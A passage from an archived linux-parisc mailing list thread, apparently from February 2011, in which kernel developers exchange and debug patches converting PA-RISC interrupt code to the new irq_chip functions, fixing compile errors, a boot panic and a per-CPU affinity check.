+	if (CHECK_IRQ_PER_CPU(irq_to_desc(irq)->status)) {
 		/* Bad linux design decision.  The mask has already
 		 * been set; we must reset it */
 		cpumask_setall(irq_desc[irq].affinity);

That's looking at the wrong thing.

So after the irq_chip conversion you need:

 -- linux-next.orig/arch/parisc/kernel/irq.c
+++ linux-next/arch/parisc/kernel/irq.c
@@ -113,7 +113,7 @@ int cpu_check_affinity(struct irq_data *
 	int cpu_dest;
 
 	/* timer and ipi have to always be received on all CPUs */
-	if (CHECK_IRQ_PER_CPU(irq_to_desc(irq))) {
+	if (CHECK_IRQ_PER_CPU(irq_to_desc(d->irq)->status)) {
 		/* Bad linux design decision.  The mask has already
 		 * been set; we must reset it. Will fix - tglx
 		 */

> Well, I'd like to be happy ... but I guess after the git cockup I'll
> have to settle for dopey.

:)

Thanks,

	tglx
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [patch 0/8] parisc: Convert to new irq_chip functions
Date: Mon, 07 Feb 2011 15:26:26 -0600
Lines: 68
Approved: news@gmane.org
Message-ID: <1297113986.8577.92.camel@mulgrave.site>
References: <20110206204411.109238550@linutronix.de>
	 <1297094535.8577.3.camel@mulgrave.site>
	 <alpine.LFD.2.00.1102071744590.31804@localhost6.localdomain6>
	 <1297100168.8577.42.camel@mulgrave.site>
	 <alpine.LFD.2.00.1102071924150.31804@localhost6.localdomain6>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1297114011 14733 80.91.229.12 (7 Feb 2011 21:26:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 7 Feb 2011 21:26:51 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@redhat.com>
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 07 22:26:46 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PmYba-0006Uv-TB
	for glpp-linux-parisc@lo.gmane.org; Mon, 07 Feb 2011 22:26:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754875Ab1BGV03 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Feb 2011 16:26:29 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40586 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754859Ab1BGV03 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Feb 2011 16:26:29 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 7C79A8EE0D9;
	Mon,  7 Feb 2011 13:26:28 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id WwF5EGVXvfhx; Mon,  7 Feb 2011 13:26:28 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 07F1A8EE0D7;
	Mon,  7 Feb 2011 13:26:27 -0800 (PST)
In-Reply-To: <alpine.LFD.2.00.1102071924150.31804@localhost6.localdomain6>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3434
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3434>

On Mon, 2011-02-07 at 19:28 +0100, Thomas Gleixner wrote:
> On Mon, 7 Feb 2011, James Bottomley wrote:
>  
> > There's some problem in arch/parisc/kernel.c it's giving me undefined
> > references to irq (oh and some easily fixed compile issues).  I'll see
> > if I can sort it out and get back to you.
> 
> That's a bug which is already in the current tree:

[...]

Actually, it's more than this.  Just to get it to compile, I needed the
patch below (I folded in your fix for our longstanding affinity bug).

Unfortunately, it's panicing on boot in txn_alloc (that's a CPU
interrupt allocation in the iosapic), so I'm going to debug further.

James

---

diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 9eea164..f2e7154 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -113,7 +113,7 @@ int cpu_check_affinity(struct irq_data *d, const struct cpumask *dest)
 	int cpu_dest;
 
 	/* timer and ipi have to always be received on all CPUs */
-	if (CHECK_IRQ_PER_CPU(irq)) {
+	if (CHECK_IRQ_PER_CPU(irq_to_desc(d->irq)->status)) {
 		/* Bad linux design decision.  The mask has already
 		 * been set; we must reset it. Will fix - tglx
 		 */
@@ -128,11 +128,11 @@ int cpu_check_affinity(struct irq_data *d, const struct cpumask *dest)
 }
 
 static int cpu_set_affinity_irq(struct irq_data *d, const struct cpumask *dest,
-				bool force))
+				bool force)
 {
 	int cpu_dest;
 
-	cpu_dest = cpu_check_affinity(d->irq, dest);
+	cpu_dest = cpu_check_affinity(d, dest);
 	if (cpu_dest < 0)
 		return -1;
 
diff --git a/drivers/parisc/iosapic.c b/drivers/parisc/iosapic.c
index a015c12..95930d0 100644
--- a/drivers/parisc/iosapic.c
+++ b/drivers/parisc/iosapic.c
@@ -693,7 +693,7 @@ static int iosapic_set_affinity_irq(struct irq_data *d,
 		return -1;
 
 	cpumask_copy(d->affinity, cpumask_of(dest_cpu));
-	vi->txn_addr = txn_affinity_addr(irq, dest_cpu);
+	vi->txn_addr = txn_affinity_addr(d->irq, dest_cpu);
 
 	spin_lock_irqsave(&iosapic_lock, flags);
 	/* d1 contains the destination CPU, so only want to set that


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [patch 0/8] parisc: Convert to new irq_chip functions
Date: Mon, 07 Feb 2011 18:32:16 -0600
Lines: 69
Approved: news@gmane.org
Message-ID: <1297125136.8577.113.camel@mulgrave.site>
References: <20110206204411.109238550@linutronix.de>
	 <1297094535.8577.3.camel@mulgrave.site>
	 <alpine.LFD.2.00.1102071744590.31804@localhost6.localdomain6>
	 <1297100168.8577.42.camel@mulgrave.site>
	 <alpine.LFD.2.00.1102071924150.31804@localhost6.localdomain6>
	 <1297113986.8577.92.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1297125147 7797 80.91.229.12 (8 Feb 2011 00:32:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 8 Feb 2011 00:32:27 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@redhat.com>
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 08 01:32:21 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PmbVE-00060Z-TA
	for glpp-linux-parisc@lo.gmane.org; Tue, 08 Feb 2011 01:32:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755412Ab1BHAcU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Feb 2011 19:32:20 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:33695 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755396Ab1BHAcT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Feb 2011 19:32:19 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 70F7F8EE0D9;
	Mon,  7 Feb 2011 16:32:19 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id lTajMEdK99PJ; Mon,  7 Feb 2011 16:32:19 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id C03BE8EE0D7;
	Mon,  7 Feb 2011 16:32:18 -0800 (PST)
In-Reply-To: <1297113986.8577.92.camel@mulgrave.site>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3435
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3435>

On Mon, 2011-02-07 at 15:26 -0600, James Bottomley wrote:
> Unfortunately, it's panicing on boot in txn_alloc (that's a CPU
> interrupt allocation in the iosapic), so I'm going to debug further.

Following up with Thomas over IRC, the attached is the finally final
patch he came up with to fix the panic and sort out the compile issues.
I've verified this on an iosapic system (pa8800) and on dino/gsc (C360)
could someone try it on an astro system?

Thanks,

James

diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 9eea164..cb450e1 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -113,7 +113,7 @@ int cpu_check_affinity(struct irq_data *d, const struct cpumask *dest)
 	int cpu_dest;
 
 	/* timer and ipi have to always be received on all CPUs */
-	if (CHECK_IRQ_PER_CPU(irq)) {
+	if (CHECK_IRQ_PER_CPU(irq_to_desc(d->irq)->status)) {
 		/* Bad linux design decision.  The mask has already
 		 * been set; we must reset it. Will fix - tglx
 		 */
@@ -128,11 +128,11 @@ int cpu_check_affinity(struct irq_data *d, const struct cpumask *dest)
 }
 
 static int cpu_set_affinity_irq(struct irq_data *d, const struct cpumask *dest,
-				bool force))
+				bool force)
 {
 	int cpu_dest;
 
-	cpu_dest = cpu_check_affinity(d->irq, dest);
+	cpu_dest = cpu_check_affinity(d, dest);
 	if (cpu_dest < 0)
 		return -1;
 
@@ -296,7 +296,7 @@ int txn_alloc_irq(unsigned int bits_wide)
 unsigned long txn_affinity_addr(unsigned int irq, int cpu)
 {
 #ifdef CONFIG_SMP
-	struct irq_data *d = get_irq_data(irq);
+	struct irq_data *d = irq_get_irq_data(irq);
 	cpumask_copy(d->affinity, cpumask_of(cpu));
 #endif
 
diff --git a/drivers/parisc/iosapic.c b/drivers/parisc/iosapic.c
index a015c12..95930d0 100644
--- a/drivers/parisc/iosapic.c
+++ b/drivers/parisc/iosapic.c
@@ -693,7 +693,7 @@ static int iosapic_set_affinity_irq(struct irq_data *d,
 		return -1;
 
 	cpumask_copy(d->affinity, cpumask_of(dest_cpu));
-	vi->txn_addr = txn_affinity_addr(irq, dest_cpu);
+	vi->txn_addr = txn_affinity_addr(d->irq, dest_cpu);
 
 	spin_lock_irqsave(&iosapic_lock, flags);
 	/* d1 contains the destination CPU, so only want to set that


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [patch 0/8] parisc: Convert to new irq_chip functions
Date: Tue, 8 Feb 2011 15:25:01 +0100 (CET)
Lines: 49
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.1102081518420.31804@localhost6.localdomain6>
References: <20110206204411.109238550@linutronix.de>  <1297094535.8577.3.camel@mulgrave.site>  <alpine.LFD.2.00.1102071744590.31804@localhost6.localdomain6>  <1297100168.8577.42.camel@mulgrave.site>  <alpine.LFD.2.00.1102071924150.31804@localhost6.localdomain6>
  <1297113986.8577.92.camel@mulgrave.site> <1297125136.8577.113.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1297175129 9770 80.91.229.12 (8 Feb 2011 14:25:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 8 Feb 2011 14:25:29 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@redhat.com>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 08 15:25:25 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PmoVP-0007R3-8h
	for glpp-linux-parisc@lo.gmane.org; Tue, 08 Feb 2011 15:25:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754483Ab1BHOZW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Feb 2011 09:25:22 -0500
Original-Received: from www.tglx.de ([62.245.132.106]:47759 "EHLO www.tglx.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754094Ab1BHOZV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Feb 2011 09:25:21 -0500
Original-Received: from localhost (www.tglx.de [127.0.0.1])
	by www.tglx.de (8.13.8/8.13.8/TGLX-2007100201) with ESMTP id p18EP1xQ006173
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 8 Feb 2011 15:25:02 +0100
In-Reply-To: <1297125136.8577.113.camel@mulgrave.site>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Virus-Scanned: clamav-milter 0.95.3 at www.tglx.de
X-Virus-Status: Clean
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED,AWL
	autolearn=failed version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on www.tglx.de
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3436
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3436>

On Mon, 7 Feb 2011, James Bottomley wrote:

> On Mon, 2011-02-07 at 15:26 -0600, James Bottomley wrote:
> > Unfortunately, it's panicing on boot in txn_alloc (that's a CPU
> > interrupt allocation in the iosapic), so I'm going to debug further.
> 
> Following up with Thomas over IRC, the attached is the finally final
> patch he came up with to fix the panic and sort out the compile issues.
> I've verified this on an iosapic system (pa8800) and on dino/gsc (C360)
> could someone try it on an astro system?
> 
> Thanks,
> 
> James
> 
> diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
> index 9eea164..cb450e1 100644
> --- a/arch/parisc/kernel/irq.c
> +++ b/arch/parisc/kernel/irq.c
> @@ -113,7 +113,7 @@ int cpu_check_affinity(struct irq_data *d, const struct cpumask *dest)
>  	int cpu_dest;
>  
>  	/* timer and ipi have to always be received on all CPUs */
> -	if (CHECK_IRQ_PER_CPU(irq)) {
> +	if (CHECK_IRQ_PER_CPU(irq_to_desc(d->irq)->status)) {

For extended fun I just noticed, that nothing ever sets IRQ_PER_CPU in
desc->status for all of parisc.

This check (using irq) never evaluated to true due to:

   #define IRQ_PER_CPU         0x00010000      /* IRQ is per CPU */

I doubt that irq can be that large on parisc :)

The other place evaluates to false as well, because nothing ever sets
the damn flag.

If you want to set it please use: set_irq_status_flags(irq, IRQ_PER_CPU);
otherwise just kill that PER_CPU thingy :)

Thanks,

	tglx
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [patch 0/8] parisc: Convert to new irq_chip functions
Date: Tue, 8 Feb 2011 15:37:10 +0100 (CET)
Lines: 55
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.1102081536080.31804@localhost6.localdomain6>
References: <20110206204411.109238550@linutronix.de>  <1297094535.8577.3.camel@mulgrave.site>  <alpine.LFD.2.00.1102071744590.31804@localhost6.localdomain6>  <1297100168.8577.42.camel@mulgrave.site>  <alpine.LFD.2.00.1102071924150.31804@localhost6.localdomain6>
  <1297113986.8577.92.camel@mulgrave.site> <1297125136.8577.113.camel@mulgrave.site> <alpine.LFD.2.00.1102081518420.31804@localhost6.localdomain6>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1297175857 14003 80.91.229.12 (8 Feb 2011 14:37:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 8 Feb 2011 14:37:37 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@redhat.com>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 08 15:37:33 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PmohA-0007Z4-PC
	for glpp-linux-parisc@lo.gmane.org; Tue, 08 Feb 2011 15:37:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754663Ab1BHOhc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Feb 2011 09:37:32 -0500
Original-Received: from www.tglx.de ([62.245.132.106]:53105 "EHLO www.tglx.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754489Ab1BHOhb (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Feb 2011 09:37:31 -0500
Original-Received: from localhost (www.tglx.de [127.0.0.1])
	by www.tglx.de (8.13.8/8.13.8/TGLX-2007100201) with ESMTP id p18EbAfp008657
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 8 Feb 2011 15:37:11 +0100
In-Reply-To: <alpine.LFD.2.00.1102081518420.31804@localhost6.localdomain6>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Virus-Scanned: clamav-milter 0.95.3 at www.tglx.de
X-Virus-Status: Clean
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED autolearn=failed
	version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on www.tglx.de
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3437
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3437>

On Tue, 8 Feb 2011, Thomas Gleixner wrote:

> On Mon, 7 Feb 2011, James Bottomley wrote:
> 
> > On Mon, 2011-02-07 at 15:26 -0600, James Bottomley wrote:
> > > Unfortunately, it's panicing on boot in txn_alloc (that's a CPU
> > > interrupt allocation in the iosapic), so I'm going to debug further.
> > 
> > Following up with Thomas over IRC, the attached is the finally final
> > patch he came up with to fix the panic and sort out the compile issues.
> > I've verified this on an iosapic system (pa8800) and on dino/gsc (C360)
> > could someone try it on an astro system?
> > 
> > Thanks,
> > 
> > James
> > 
> > diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
> > index 9eea164..cb450e1 100644
> > --- a/arch/parisc/kernel/irq.c
> > +++ b/arch/parisc/kernel/irq.c
> > @@ -113,7 +113,7 @@ int cpu_check_affinity(struct irq_data *d, const struct cpumask *dest)
> >  	int cpu_dest;
> >  
> >  	/* timer and ipi have to always be received on all CPUs */
> > -	if (CHECK_IRQ_PER_CPU(irq)) {
> > +	if (CHECK_IRQ_PER_CPU(irq_to_desc(d->irq)->status)) {
> 
> For extended fun I just noticed, that nothing ever sets IRQ_PER_CPU in
> desc->status for all of parisc.
> 
> This check (using irq) never evaluated to true due to:
> 
>    #define IRQ_PER_CPU         0x00010000      /* IRQ is per CPU */
> 
> I doubt that irq can be that large on parisc :)
> 
> The other place evaluates to false as well, because nothing ever sets
> the damn flag.
> 
> If you want to set it please use: set_irq_status_flags(irq, IRQ_PER_CPU);
> otherwise just kill that PER_CPU thingy :)

Gah. You set it indirect via IRQF_PERCPU with setup/request_irq.

Staring too long into that code makes my brain fuzzy.

Thanks,

	tglx
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [patch 0/8] parisc: Convert to new irq_chip functions
Date: Tue, 08 Feb 2011 10:53:17 -0600
Lines: 66
Approved: news@gmane.org
Message-ID: <1297183997.3088.72.camel@mulgrave.site>
References: <20110206204411.109238550@linutronix.de>
	 <1297094535.8577.3.camel@mulgrave.site>
	 <alpine.LFD.2.00.1102071744590.31804@localhost6.localdomain6>
	 <1297100168.8577.42.camel@mulgrave.site>
	 <alpine.LFD.2.00.1102071924150.31804@localhost6.localdomain6>
	 <1297113986.8577.92.camel@mulgrave.site>
	 <1297125136.8577.113.camel@mulgrave.site>
	 <alpine.LFD.2.00.1102081518420.31804@localhost6.localdomain6>
	 <alpine.LFD.2.00.1102081536080.31804@localhost6.localdomain6>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1297184010 32361 80.91.229.12 (8 Feb 2011 16:53:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 8 Feb 2011 16:53:30 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@redhat.com>
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 08 17:53:21 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Pmqob-00008g-Fl
	for glpp-linux-parisc@lo.gmane.org; Tue, 08 Feb 2011 17:53:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754931Ab1BHQxU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Feb 2011 11:53:20 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:60480 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751723Ab1BHQxU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Feb 2011 11:53:20 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 63E378EE0F5;
	Tue,  8 Feb 2011 08:53:19 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id putjeprA7nff; Tue,  8 Feb 2011 08:53:19 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id E75028EE0D7;
	Tue,  8 Feb 2011 08:53:18 -0800 (PST)
In-Reply-To: <alpine.LFD.2.00.1102081536080.31804@localhost6.localdomain6>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3438
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3438>

On Tue, 2011-02-08 at 15:37 +0100, Thomas Gleixner wrote:
> On Tue, 8 Feb 2011, Thomas Gleixner wrote:
> 
> > On Mon, 7 Feb 2011, James Bottomley wrote:
> > 
> > > On Mon, 2011-02-07 at 15:26 -0600, James Bottomley wrote:
> > > > Unfortunately, it's panicing on boot in txn_alloc (that's a CPU
> > > > interrupt allocation in the iosapic), so I'm going to debug further.
> > > 
> > > Following up with Thomas over IRC, the attached is the finally final
> > > patch he came up with to fix the panic and sort out the compile issues.
> > > I've verified this on an iosapic system (pa8800) and on dino/gsc (C360)
> > > could someone try it on an astro system?
> > > 
> > > Thanks,
> > > 
> > > James
> > > 
> > > diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
> > > index 9eea164..cb450e1 100644
> > > --- a/arch/parisc/kernel/irq.c
> > > +++ b/arch/parisc/kernel/irq.c
> > > @@ -113,7 +113,7 @@ int cpu_check_affinity(struct irq_data *d, const struct cpumask *dest)
> > >  	int cpu_dest;
> > >  
> > >  	/* timer and ipi have to always be received on all CPUs */
> > > -	if (CHECK_IRQ_PER_CPU(irq)) {
> > > +	if (CHECK_IRQ_PER_CPU(irq_to_desc(d->irq)->status)) {
> > 
> > For extended fun I just noticed, that nothing ever sets IRQ_PER_CPU in
> > desc->status for all of parisc.
> > 
> > This check (using irq) never evaluated to true due to:
> > 
> >    #define IRQ_PER_CPU         0x00010000      /* IRQ is per CPU */
> > 
> > I doubt that irq can be that large on parisc :)
> > 
> > The other place evaluates to false as well, because nothing ever sets
> > the damn flag.
> > 
> > If you want to set it please use: set_irq_status_flags(irq, IRQ_PER_CPU);
> > otherwise just kill that PER_CPU thingy :)
> 
> Gah. You set it indirect via IRQF_PERCPU with setup/request_irq.
> 
> Staring too long into that code makes my brain fuzzy.

Yes ... know the feeling over the years trying to keep up with the
various irq schemes.  Got to say, it's a lot easier now: The way parisc
chips accept interrupts is essentially MSI.  Trying to live in the old
world modelled on the x86 PIC wasn't fun.

So did you want me to roll all the fixes together and apply them, or is
there something else that needs to happen?

James




--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Improve dcache flush on PA8800/PA8900
Date: Tue, 8 Feb 2011 12:15:33 -0500
Organization: nrc.ca
Lines: 197
Approved: news@gmane.org
Message-ID: <20110208171532.GA286@hiauly1.hia.nrc.ca>
References: <1295549658.3014.19.camel@mulgrave.site>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1297185341 7981 80.91.229.12 (8 Feb 2011 17:15:41 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 8 Feb 2011 17:15:41 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 08 18:15:37 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
